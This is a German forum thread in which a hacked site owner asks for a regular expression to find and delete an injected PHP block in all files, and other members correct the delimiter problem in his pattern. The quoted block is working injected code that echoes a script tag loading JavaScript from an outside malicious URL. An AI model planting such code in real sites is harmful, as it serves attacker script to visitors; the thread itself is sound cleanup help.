regulärer Ausdruck in Suche

anmae · 29. November 2013

Hallo,
Ich möchte ein Verzeichnis mit regulären Ausdrücken durchsuchen. Ich möchte in allen Dateien einen Ausdruch wie diesen finden und löchen:

PHP:

<?php
#10fd40#
if(empty($zbue)) {
$zbue = "<script src=\"http://www.eineboeseurl.com/wp-includes/nY5zL0XN.php?id=55706290\" type=\"text/javascript\"></script>";
echo $zbue;
}

#/10fd40#
?>

Ich verwende diesen (falschen) Ausdruck:

Code:

#[a-A0-9A-Z]+#(.*)#/[a-A0-9A-Z]+#

ich vermute, dass die Mitte zwischen den beiden ## falsch ist, ich bekomme es aber nicht hin, dass er auch Zeilenumbrüche etc. mit erkennt.

Und bevor jemand fragt: ja, ich wurde gehackt

Danke schon mal.

ComFreek · 29. November 2013

Hallo anmae,

wieso vermutest du das? Bekommst du eine Fehlermeldung?

In der Tat bekommst du wahrscheinlich eine, weil du das Trennzeichen des Regexes (das erste Zeichen, der sog. "Delimiter") auch mitten innerhalb des Regexes verwendest. PHP (bzw. PCRE) denkt dann, dass da der Regex schon aufhört, erwartet dann nur noch Modifier anstatt eine Fortführung des Regexes, was zu einem Syntaxfehler (innerhalb PCRE) führt.

alxy · 29. November 2013

Falls du diese zbue Variable matchen willst:

Code:

<script src=".+" type="text/javascript"></script>

Du musst nur aufpassen mit den Escapezeichen für die "

Spyke · 30. November 2013

Das Problem scheint mir wirklich
#(.*)#
da ja im Prinzip jetzt jedes zeichen gesucht wird, du müsstest dort also deine # ausschließen.

Wenn im inneren Bereich eh nie ein # ist könntestes ja einfach mit
[^#]*
machen.

Ansonsten, in .Net kann man für die Captures namen vergeben und mit diesen gefundenen Capturenamen weiter suchen im Regex (sprich denn gefunden Match könnte man als vergleich heranziehen), weiß jetzt nicht ob sowas auch in PHP möglich wäre.
Wenn ja könnteste nämlich dein beginn Match 10fd40 ganz leicht als Endbedingung hernehmen.

drucko · 3. Dezember 2013

Wie bereits erwähnt:

Die Rautezeichen werden in deinem Beispiel als Delimiter und nicht als zu-suchendes-Zeichen interpretiert... sprich nehme ein anderes Zeichen als Delimiter.
z.B:

Code:

%[a-A0-9A-Z]+#(.*)#/[a-A0-9A-Z]+%

btw: Warum a-A ? ;-)

http://www.php.net/manual/en/regexp.reference.delimiters.php

regulärer Ausdruck in Suche

anmae

Erfahrenes Mitglied

ComFreek

Mod | @comfreek

alxy

Erfahrenes Mitglied

Spyke

drucko

Erfahrenes Mitglied

Neue Beiträge